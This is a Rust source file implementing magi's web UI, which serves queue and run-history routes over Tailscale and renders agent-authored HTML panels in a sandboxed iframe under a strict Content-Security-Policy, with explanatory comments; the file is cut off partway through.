Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # An interview is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/chats/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one chat are refused rather
68//! than queued - see [`Ui::begin_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::HashSet;
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::queue::{Queue, Source, Task, title_from};
121use crate::run::{RunState, RunStatus};
122use crate::{chat, daemon, report, repos, run};
123
124/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
125pub const DEFAULT_PORT: u16 = 7878;
126
127/// How often the change stream restats the queue and the runs directory.
128const POLL: Duration = Duration::from_secs(1);
129
130/// Keep-alive interval for the change stream. Phones and intermediaries drop
131/// an idle connection within a minute; a comment every fifteen seconds keeps
132/// the stream alive without waking the radio often enough to matter.
133const KEEPALIVE: Duration = Duration::from_secs(15);
134
135/// Runs returned when the client does not ask, and the ceiling if it asks for
136/// more. The cap exists because the list handler parses every `run.json` it
137/// returns, and a phone cannot render two thousand rows anyway.
138const LIST_DEFAULT: usize = 50;
139/// Upper bound for `?limit=`.
140const LIST_MAX: usize = 500;
141
142/// Width of a generated task title, matching what the CLI uses.
143const TITLE_MAX: usize = 72;
144
145/// The header that makes serving agent-authored HTML defensible, sent by both
146/// panel routes and asserted verbatim by a test.
147///
148/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
149/// denies every fetch destination that is not re-allowed below, which is all of
150/// them except images and fonts; `img-src 'self' data:` means an image comes
151/// from magi's own asset route or from the document itself, so a panel cannot
152/// signal an outside server by pointing an `<img>` at it - the classic
153/// exfiltration channel for markup that cannot run script. `style-src
154/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
155/// free formatting means here and a style sheet cannot make a request that
156/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
157/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
158/// stops a form posting the owner's decision to a third party, and
159/// `frame-ancestors 'self'` stops another site framing the panel to phish with
160/// it.
161///
162/// There is deliberately no `script-src`: `default-src 'none'` already covers
163/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
164/// denied twice over. Weakening any directive here is the difference between a
165/// panel the owner reads and a page that can talk to the tailnet, which is why
166/// the test compares the whole string rather than looking for a substring.
167const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
168                         font-src data:; base-uri 'none'; form-action 'none'; \
169                         frame-ancestors 'self'";
170
171const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
172const APP_CSS: &str = include_str!("../assets/ui/app.css");
173const APP_JS: &str = include_str!("../assets/ui/app.js");
174
175/// Which address to listen on.
176#[derive(Debug, Clone, Copy, PartialEq, Eq)]
177pub enum Bind {
178    /// Ask Tailscale, and fall back to loopback with a warning.
179    Auto,
180    /// An address the operator named.
181    Addr(IpAddr),
182}
183
184impl std::str::FromStr for Bind {
185    type Err = String;
186
187    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
188    /// the CLI can take `--bind` straight into it: the one spelling of
189    /// `auto` that matters is the one this function knows.
190    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
191        if s.eq_ignore_ascii_case("auto") {
192            return Ok(Self::Auto);
193        }
194        s.parse()
195            .map(Self::Addr)
196            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
197    }
198}
199
200impl std::fmt::Display for Bind {
201    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
202        match self {
203            Self::Auto => f.write_str("auto"),
204            Self::Addr(addr) => write!(f, "{addr}"),
205        }
206    }
207}
208
209/// How to serve.
210#[derive(Debug, Clone)]
211pub struct Opts {
212    /// Address to listen on.
213    pub bind: Bind,
214    /// Port to listen on.
215    pub port: u16,
216    /// Repository used for tasks posted without one.
217    pub repo: PathBuf,
218    /// Print the URL on its own line for a caller that wants to hand it to a
219    /// browser. magi never launches one itself.
220    pub open: bool,
221    /// Merge mode override for the loop this process runs (`none`, `local`,
222    /// `pr`); `None` leaves it to each repository's own config.
223    ///
224    /// The same override `magi serve --merge` takes, and here for the same
225    /// reason: `magi web` is now the thing that runs the loop, so an operator
226    /// who wants this session's runs to open pull requests has to be able to
227    /// say so without going back to the command they no longer type.
228    pub merge: Option<String>,
229}
230
231impl Default for Opts {
232    fn default() -> Self {
233        Self {
234            bind: Bind::Auto,
235            port: DEFAULT_PORT,
236            repo: PathBuf::from("."),
237            open: false,
238            merge: None,
239        }
240    }
241}
242
243/// Everything the handlers touch.
244///
245/// The queue, the runs directory and the magi home are fields rather than
246/// process-global lookups so a test drives the real router against a temp
247/// directory instead of the operator's own history.
248#[derive(Debug, Clone)]
249pub struct Ui {
250    queue: Queue,
251    questions: Questions,
252    chats: Chats,
253    runs: PathBuf,
254    home: PathBuf,
255    repo: PathBuf,
256    /// Chats with an agent turn in flight right now.
257    ///
258    /// In-process and therefore not durable, which is correct: it guards
259    /// against two taps on one phone and two phones on one tailnet, both of
260    /// which are this process's own concurrency. A second `magi web` would not
261    /// see it, and a second `magi web` on the same home is already a
262    /// misconfiguration the queue's claims would catch first.
263    turns: Arc<Mutex<HashSet<String>>>,
264    /// Runs this process is resuming right now.
265    ///
266    /// Separate from `turns` because a run and a chat are different things to
267    /// hold, and a resume is far more expensive to start twice: it re-asks
268    /// agent seats. Same reasoning about scope as `turns` — this guards two
269    /// taps and two phones, which is this process's own concurrency.
270    resuming: Arc<Mutex<HashSet<String>>>,
271    /// The last scan of `[repos] roots`, and when it happened. Shared across
272    /// requests so a phone opening the repository picker repeatedly does not
273    /// repeat the filesystem walk every time - see [`repos::Cache`].
274    repos_cache: repos::Cache,
275    /// Merge mode override handed to the loop this process starts.
276    merge: Option<String>,
277    /// The loop this process is running, if it is running one.
278    looping: Arc<Mutex<LoopState>>,
279    /// How a loop is actually started.
280    ///
281    /// A field rather than a direct call to [`daemon::serve_until`], because
282    /// the real loop resolves its queue and its status file through the
283    /// process-global magi home and claims whatever it finds there. A test
284    /// that started it would reach straight past its own temp directory into
285    /// the operator's live queue, overwrite the status file of the `magi
286    /// serve` that owns it, and spend real agent quota on a real competition.
287    /// What the routes have to get right is the bookkeeping, so the tests
288    /// drive the routes against a loop that only starts and stops; production
289    /// is [`launch_daemon`] and nothing reassigns it.
290    launch: Launch,
291}
292
293impl Ui {
294    /// A server over explicit paths.
295    pub fn new(
296        queue: Queue,
297        questions: Questions,
298        chats: Chats,
299        runs: PathBuf,
300        home: PathBuf,
301        repo: PathBuf,
302    ) -> Self {
303        Self {
304            queue,
305            questions,
306            chats,
307            runs,
308            home,
309            repo,
310            turns: Arc::default(),
311            resuming: Arc::default(),
312            repos_cache: repos::Cache::new(),
313            merge: None,
314            looping: Arc::default(),
315            launch: launch_daemon,
316        }
317    }
318
319    /// The operator's own state: `<home>/queue`, `<home>/questions`,
320    /// `<home>/chats`, `<home>/runs`.
321    pub fn open(repo: PathBuf) -> Self {
322        Self::new(
323            Queue::open(),
324            Questions::open(),
325            Chats::open(),
326            run::runs_root(),
327            run::home(),
328            repo,
329        )
330    }
331
332    /// The merge mode the loop should use, as the command line gave it.
333    ///
334    /// A builder step rather than a seventh parameter on [`Ui::new`], because
335    /// the override is a property of how this process was invoked and not of
336    /// where its state lives - which is all the tests that build a `Ui` by
337    /// hand are saying.
338    #[must_use]
339    pub fn with_merge(mut self, merge: Option<String>) -> Self {
340        self.merge = merge;
341        self
342    }
343
344    /// Point the loop at something other than [`launch_daemon`].
345    ///
346    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
347    /// this crate may start the real loop.
348    #[cfg(test)]
349    #[must_use]
350    fn with_launch(mut self, launch: Launch) -> Self {
351        self.launch = launch;
352        self
353    }
354
355    /// The loop's state, for [`serve`]'s own way out.
356    fn looping(&self) -> Arc<Mutex<LoopState>> {
357        Arc::clone(&self.looping)
358    }
359
360    /// Start the loop in this process, or say who already has one.
361    ///
362    /// `foreign` is passed in rather than read here so that one request makes
363    /// one judgement about who owns the loop: reading the status file again
364    /// inside this function could refuse a start for a daemon the same
365    /// response then reports as gone.
366    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
367        if let Some(other) = foreign {
368            return Err(ApiError::conflict(format!(
369                "{} is already running the loop, so this one will not start a \
370                 second: two loops on one queue race for the same claims and \
371                 burn the agent quota twice over. Stop it where it was \
372                 started.",
373                other.who()
374            )));
375        }
376        let mut state = self.lock_loop();
377        if state.live.as_ref().is_some_and(Live::alive) {
378            return Err(ApiError::conflict(format!(
379                "this magi web process (pid {}) is already running the loop",
380                std::process::id()
381            )));
382        }
383
384        let stop = daemon::Stop::new();
385        // The CLI's own defaults for everything the UI has no opinion about:
386        // one poll interval and one retry budget, so a loop started from a
387        // phone behaves exactly like the `magi serve` it replaces.
388        let opts = daemon::Opts {
389            repo: self.repo.clone(),
390            merge: self.merge.clone(),
391            ..daemon::Opts::default()
392        };
393        let launch = self.launch;
394        let looping = Arc::clone(&self.looping);
395        let handle = tokio::spawn({
396            let opts = opts.clone();
397            let stop = stop.clone();
398            async move {
399                let failure = match launch(opts, stop).await {
400                    Ok(()) => None,
401                    Err(e) => Some(format!("{e:#}")),
402                };
403                match &failure {
404                    Some(why) => tracing::error!("the loop stopped: {why}"),
405                    None => tracing::info!("the loop stopped"),
406                }
407                // Recorded by the task itself rather than reaped by whichever
408                // request happens next, so `loop_rev` moves the moment the
409                // loop ends and a phone with the change stream open learns
410                // that it did. Clearing `live` drops this task's own handle,
411                // which only detaches it, and is the last thing it does.
412                let mut state = lock_or_recover(&looping);
413                state.live = None;
414                state.last_error = failure;
415                state.rev += 1;
416            }
417        });
418        tracing::info!(
419            "the loop is now running in this process: repo {}, merge {}",
420            opts.repo.display(),
421            opts.merge.as_deref().unwrap_or("as the config says")
422        );
423        state.live = Some(Live { stop, handle, opts });
424        // A fresh start is not the place to keep showing why the last one
425        // died; the operator has read it and pressed the button anyway.
426        state.last_error = None;
427        state.rev += 1;
428        Ok(())
429    }
430
431    /// Ask the loop to stop, without waiting for it to get there.
432    ///
433    /// Idempotent: a second tap on stop is not an error, because the first one
434    /// leaves the loop running for as long as the run in flight takes and the
435    /// operator has no way to tell a slow stop from a lost one.
436    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
437        if let Some(other) = foreign {
438            return Err(ApiError::conflict(format!(
439                "the loop belongs to {}, and this process cannot stop it - \
440                 stop it where it was started. A button that silently did \
441                 nothing would be worse than this refusal.",
442                other.who()
443            )));
444        }
445        let mut state = self.lock_loop();
446        let Some(live) = state.live.as_ref() else {
447            return Ok(());
448        };
449        // A park upgrades a stop that has already been asked for: the
450        // operator who tapped "stop" and then realised the run has an hour
451        // left must not have to restart the loop to change their mind.
452        if live.stop.stopped() && (!park || live.stop.parking()) {
453            return Ok(());
454        }
455        if park {
456            live.stop.park();
457            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
458        } else {
459            live.stop.stop();
460            tracing::info!("the loop was asked to stop; a run in flight is finished first");
461        }
462        state.rev += 1;
463        Ok(())
464    }
465
466    /// The loop as both `/api/loop` and `/api/health` report it.
467    ///
468    /// `reading` is the caller's single read of `<home>/daemon.json`, because
469    /// health answers with this view *and* the daemon object beside it: one
470    /// read per response is what stops a single answer naming a foreign owner
471    /// in one field and calling the loop free in the other.
472    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
473        let state = self.lock_loop();
474        // A loop that panicked never recorded its own end, so the handle -
475        // not the presence of the record - is what "running" means.
476        let live = state.live.as_ref().filter(|live| live.alive());
477        LoopView {
478            running: live.is_some(),
479            stopping: live.is_some_and(|live| live.stop.finishing()),
480            parking: live.is_some_and(|live| live.stop.parking()),
481            owned: live.is_some(),
482            repo: live
483                .map_or(&self.repo, |live| &live.opts.repo)
484                .display()
485                .to_string(),
486            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
487            last_error: state.last_error.clone(),
488            daemon: DaemonView::of(reading),
489        }
490    }
491
492    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
493    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
494        lock_or_recover(&self.looping)
495    }
496
497    /// Claim the right to run one turn in a chat, or refuse.
498    ///
499    /// An interview is strictly turn-based: the interviewing agent is resumed
500    /// with the conversation it already has, so two turns running at once would
501    /// resume the same session twice and append their answers in whatever order
502    /// the two CLIs finished in. The operator would come back to a transcript
503    /// with two half-turns interleaved, which is unreadable and, worse,
504    /// unfixable - there is no undo for a persisted turn.
505    ///
506    /// Refusing with a conflict rather than queueing behind the first turn is
507    /// the deliberate half. A turn takes tens of seconds, so a phone on a slow
508    /// link is exactly the case where the operator taps send twice; queueing
509    /// would answer the second tap with a second agent turn on text they only
510    /// meant to send once, and would do it a minute later when they have
511    /// stopped looking. An immediate 409 is a thing the front end can act on.
512    ///
513    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
514    /// taken to test-and-insert and released before the agent is spawned. The
515    /// returned guard removes the id on drop, which is what makes a panicking
516    /// handler or a phone that walks out of range leave the chat usable - axum
517    /// drops the handler future when the client disconnects, and without the
518    /// guard that chat would be wedged until the server restarted.
519    fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
520        let mut live = self
521            .turns
522            .lock()
523            .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
524        if !live.insert(id.to_owned()) {
525            return Err(ApiError::conflict(format!(
526                "chat {id} is already taking a turn"
527            )));
528        }
529        Ok(TurnGuard {
530            chat: id.to_owned(),
531            turns: Arc::clone(&self.turns),
532        })
533    }
534
535    /// Park the loop for an upgrade, and report the run that is parking.
536    ///
537    /// A park rather than a stop: a stop waits out the whole competition, and
538    /// not waiting is the point of upgrading from a phone. `None` means
539    /// nothing was in flight, which is worth saying so the operator is not
540    /// told a run is parking when none is.
541    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
542        let parking = {
543            let mut state = self.lock_loop();
544            let Some(live) = state.live.as_ref() else {
545                return Ok(None);
546            };
547            let busy = live.stop.busy_now();
548            live.stop.park();
549            state.rev += 1;
550            busy
551        };
552        Ok(if parking {
553            daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
554        } else {
555            None
556        })
557    }
558
559    /// Claim a run for a resume, on the same reasoning as [`Ui::begin_turn`]:
560    /// a guard that releases on drop, so a disconnected phone does not wedge
561    /// the run until the server restarts.
562    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
563        let mut live = self
564            .resuming
565            .lock()
566            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
567        if !live.insert(id.to_owned()) {
568            return Err(ApiError::conflict(format!(
569                "run {id} is already being resumed"
570            )));
571        }
572        Ok(ResumeGuard {
573            run: id.to_owned(),
574            resuming: Arc::clone(&self.resuming),
575        })
576    }
577
578    /// The router, with this state baked in.
579    ///
580    /// The three front-end files get one explicit route each rather than a
581    /// path parameter, so there is no traversal surface to get wrong: the set
582    /// of servable paths is the set written here. The asset route below is the
583    /// one exception and the only place in this server where a client names a
584    /// file; it is why [`valid_asset_name`] is checked before a path is built.
585    pub fn router(self) -> Router {
586        Router::new()
587            .route("/", get(index))
588            .route("/app.css", get(app_css))
589            .route("/app.js", get(app_js))
590            .route("/api/health", get(health))
591            .route("/api/loop", get(loop_get).post(loop_post))
592            .route("/api/upgrade", post(upgrade_post))
593            .route("/api/runs", get(runs_list))
594            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
595            .route("/api/runs/{id}/report", get(run_report))
596            .route("/api/runs/{id}/fold", post(run_fold))
597            .route("/api/runs/{id}/resume", post(run_resume))
598            .route("/api/queue", get(queue_list).post(queue_post))
599            .route("/api/queue/{id}", delete(queue_delete))
600            .route("/api/repos", get(repos_list))
601            .route("/api/queue/{id}/hold", post(queue_hold))
602            .route("/api/queue/{id}/release", post(queue_release))
603            .route("/api/questions", get(questions_list))
604            .route("/api/questions/{id}/answer", post(question_answer))
605            .route("/api/questions/{id}/panel", get(question_panel))
606            // The same asset, reachable from inside the panel by its bare
607            // filename. A document served at `.../panel` resolves `shot.png`
608            // to `.../shot.png`, which is not the asset route, so a panel
609            // written the way its author was told to write it showed broken
610            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
611            // it - deliberately - so the fix is that the panel's own URL ends
612            // in a filename and its siblings are the assets.
613            .route("/api/questions/{id}/panel/index.html", get(question_panel))
614            .route("/api/questions/{id}/panel/{name}", get(question_asset))
615            .route("/api/questions/{id}/asset/{name}", get(question_asset))
616            .route("/api/chats", get(chats_list).post(chat_post))
617            .route("/api/chats/{id}", get(chat_detail))
618            .route("/api/chats/{id}/say", post(chat_say))
619            .route("/api/chats/{id}/file", post(chat_file))
620            .route("/api/events", get(events))
621            .with_state(Arc::new(self))
622    }
623}
624
625/// One chat's turn slot, released on drop.
626///
627/// A guard rather than a matching `remove` at the end of the handler, because
628/// the handler has several early returns and one `await` that can be cancelled
629/// out from under it. A leaked id is a chat nobody can talk to again.
630#[derive(Debug)]
631struct TurnGuard {
632    chat: String,
633    turns: Arc<Mutex<HashSet<String>>>,
634}
635
636impl Drop for TurnGuard {
637    fn drop(&mut self) {
638        if let Ok(mut live) = self.turns.lock() {
639            live.remove(&self.chat);
640        }
641    }
642}
643
644/// Releases a resume claim, so a run is resumable again after the attempt.
645struct ResumeGuard {
646    run: String,
647    resuming: Arc<Mutex<HashSet<String>>>,
648}
649
650impl Drop for ResumeGuard {
651    fn drop(&mut self) {
652        if let Ok(mut live) = self.resuming.lock() {
653            live.remove(&self.run);
654        }
655    }
656}
657
658async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
659    const WINDOW: Duration = Duration::from_secs(10);
660    const GAP: Duration = Duration::from_millis(250);
661
662    let deadline = std::time::Instant::now() + WINDOW;
663    let mut said = false;
664    loop {
665        match tokio::net::TcpListener::bind(socket).await {
666            Ok(listener) => return Ok(listener),
667            Err(e)
668                if e.kind() == std::io::ErrorKind::AddrInUse
669                    && std::time::Instant::now() < deadline =>
670            {
671                if !said {
672                    said = true;
673                    tracing::info!(
674                        "{socket} is still held - waiting up to {}s for it, \
675                         which is what a restart looks like from here",
676                        WINDOW.as_secs()
677                    );
678                }
679                tokio::time::sleep(GAP).await;
680            }
681            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
682        }
683    }
684}
685
686/// Signalled when an upgrade has replaced the binary and the successor should
687/// take this address over. One per process: there is one address to hand on.
688static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
689
690/// Start this binary again with the same arguments, detached.
691///
692/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
693/// so the address is already free when the successor binds it. The first
694/// attempt at this spawned the successor two hundred milliseconds before
695/// exiting instead, and the released binary - which has no bind retry - died
696/// on "address already in use" with its stdio sent to null, so the deck
697/// simply never came back.
698///
699/// Detached and without inherited stdio: the successor has to outlive this
700/// process, and must not hold open a pipe a terminal is waiting on.
701fn spawn_successor() -> Result<()> {
702    let exe = std::env::current_exe().context("find this binary")?;
703    let args: Vec<String> = std::env::args().skip(1).collect();
704    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
705
706    let mut cmd = std::process::Command::new(&exe);
707    cmd.args(&args)
708        .stdin(std::process::Stdio::null())
709        .stdout(std::process::Stdio::null())
710        .stderr(std::process::Stdio::null());
711    #[cfg(windows)]
712    {
713        use std::os::windows::process::CommandExt as _;
714        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
715        // and Ctrl-C in the old terminal must not reach the successor.
716        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
717    }
718    cmd.spawn().context("start the successor")?;
719    Ok(())
720}
721
722/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
723///
724/// The server itself owns no state, so nothing here is graceful for the HTTP
725/// side's sake: the connections go with the dropped listener, which costs a
726/// phone one change-stream reconnection it was going to make anyway.
727///
728/// The signal branch is not optional now that the loop lives in this process.
729/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
730/// handler is what stops the signal terminating the process - so without a
731/// branch of our own, the first Ctrl-C after the operator started the loop
732/// would stop the loop and leave `magi web` listening forever, unkillable
733/// from the terminal it was started in.
734///
735/// What it waits for is the loop, not the sockets. A run in flight is
736/// finished first, for the reason [`daemon::serve`] gives: killing the graph
737/// mid-node leaves worktrees, branches and agent sessions behind and throws
738/// away every agent call already paid for.
739/// Bind the port, waiting briefly for a predecessor to let go of it.
740///
741/// A restart hands the address from one process to the next, and the old one
742/// holds its listener until it unwinds. A single `bind` can lose that race,
743/// and for a restart triggered from a phone that means the deck never comes
744/// back with no terminal around to say why.
745///
746/// Bounded, and only for the one error a wait can fix: anything else fails at
747/// once, because retrying it would turn a clear message into a silence.
748pub async fn serve(opts: Opts) -> Result<()> {
749    let (addr, warning) = resolve_bind(&opts.bind);
750    if let Some(warning) = warning {
751        tracing::warn!("{warning}");
752    }
753
754    // Process-global, and therefore set exactly once, here: the report route
755    // must never emit escape sequences into a browser, and toggling the flag
756    // per request would race with a concurrent request rendering its own
757    // report. Startup is the only moment at which no request can observe the
758    // change. Nothing in the server turns colour back on.
759    report::set_color(false);
760
761    let ui = Ui::open(opts.repo).with_merge(opts.merge);
762    let looping = ui.looping();
763    let socket = SocketAddr::new(addr, opts.port);
764    let listener = bind_waiting(socket).await?;
765    let url = format!("http://{addr}:{}", opts.port);
766    tracing::info!(
767        "magi web UI on {url} - there is no authentication, so anyone who can \
768         reach this address can file and hold tasks: the tailnet is the \
769         security boundary"
770    );
771    tracing::info!(
772        "the queue loop is not running yet - start it from the UI, which is \
773         the whole reason this process can: nothing in the queue moves until \
774         something is running the loop"
775    );
776    if opts.open {
777        // The URL alone on stdout, for a caller that wants to open it. magi
778        // does not spawn a browser: on the machine this usually runs on there
779        // is no display, and a failed launch would be the only output.
780        println!("{url}");
781    }
782
783    let served = axum::serve(listener, ui.router()).into_future();
784    let interrupted = async {
785        if tokio::signal::ctrl_c().await.is_err() {
786            // No handler on this platform, so there is no signal to act on.
787            // Never resolving is the safe answer: a failed registration must
788            // not masquerade as the operator asking for a shutdown and take
789            // the UI down on startup.
790            std::future::pending::<()>().await;
791        }
792    };
793    let handover = HANDOVER.notified();
794    tokio::select! {
795        outcome = served => outcome.context("serve the web UI"),
796        () = interrupted => {
797            tracing::info!("shutting down the web UI");
798            finish_loop(&looping).await;
799            Ok(())
800        }
801        () = handover => {
802            tracing::info!("upgraded - handing this address to the successor");
803            // The loop was parked by the request, so this waits for a node
804            // boundary rather than for a whole competition.
805            finish_loop(&looping).await;
806            spawn_successor()
807        }
808    }
809}
810
811/// Ask the loop to stop and wait for it, on the way out of [`serve`].
812///
813/// The wait is the whole function. Returning from `serve` while a graph is
814/// mid-node ends the process with worktrees, branches and agent sessions left
815/// behind and every agent call in that run paid for and thrown away, which is
816/// exactly what the daemon's own shutdown refuses to do.
817async fn finish_loop(state: &Mutex<LoopState>) {
818    let live = lock_or_recover(state).live.take();
819    let Some(live) = live else { return };
820    live.stop.stop();
821    lock_or_recover(state).rev += 1;
822    tracing::info!("waiting for the loop to finish the run in flight");
823    // The task records its own outcome and logs it, so there is nothing to do
824    // with a join error here but stop waiting.
825    let _ = live.handle.await;
826}
827
828/// Resolve `--bind` to an address, plus a warning when the answer is not what
829/// the operator asked for.
830///
831/// Split out from [`serve`] because the interesting half - deciding whether
832/// Tailscale gave us something usable - is testable without opening a socket.
833pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
834    match bind {
835        Bind::Addr(addr) => (*addr, None),
836        Bind::Auto => match tailscale_ip() {
837            Ok(ip) => (IpAddr::V4(ip), None),
838            Err(why) => (
839                IpAddr::V4(Ipv4Addr::LOCALHOST),
840                Some(format!(
841                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
842                     local-only and a phone cannot reach it; start Tailscale \
843                     or pass --bind <addr>"
844                )),
845            ),
846        },
847    }
848}
849
850/// This machine's Tailscale IPv4, or why there is not one.
851///
852/// `tailscale ip -4` is a local call against the running daemon and returns in
853/// milliseconds, so it is fine to make it synchronously before the server
854/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
855/// CGNAT block Tailscale assigns from, and anything else on that output would
856/// be a different tool answering.
857fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
858    let out = std::process::Command::new("tailscale")
859        .args(["ip", "-4"])
860        .output()
861        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
862    if !out.status.success() {
863        let why = String::from_utf8_lossy(&out.stderr);
864        let why = why.trim();
865        return Err(format!(
866            "`tailscale ip -4` failed ({}){}",
867            out.status,
868            if why.is_empty() {
869                String::new()
870            } else {
871                format!(": {why}")
872            }
873        ));
874    }
875    String::from_utf8_lossy(&out.stdout)
876        .lines()
877        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
878        .find(is_tailnet)
879        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
880}
881
882/// Is this address in the CGNAT block Tailscale hands out from?
883fn is_tailnet(ip: &Ipv4Addr) -> bool {
884    let o = ip.octets();
885    o[0] == 100 && (64..=127).contains(&o[1])
886}
887
888/// What every handler returns. Spelled out because `Result` in this crate is
889/// `anyhow::Result`, and a handler's error is a status code as much as a
890/// message.
891type ApiResult<T> = std::result::Result<T, ApiError>;
892
893/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
894#[derive(Debug)]
895struct ApiError {
896    status: StatusCode,
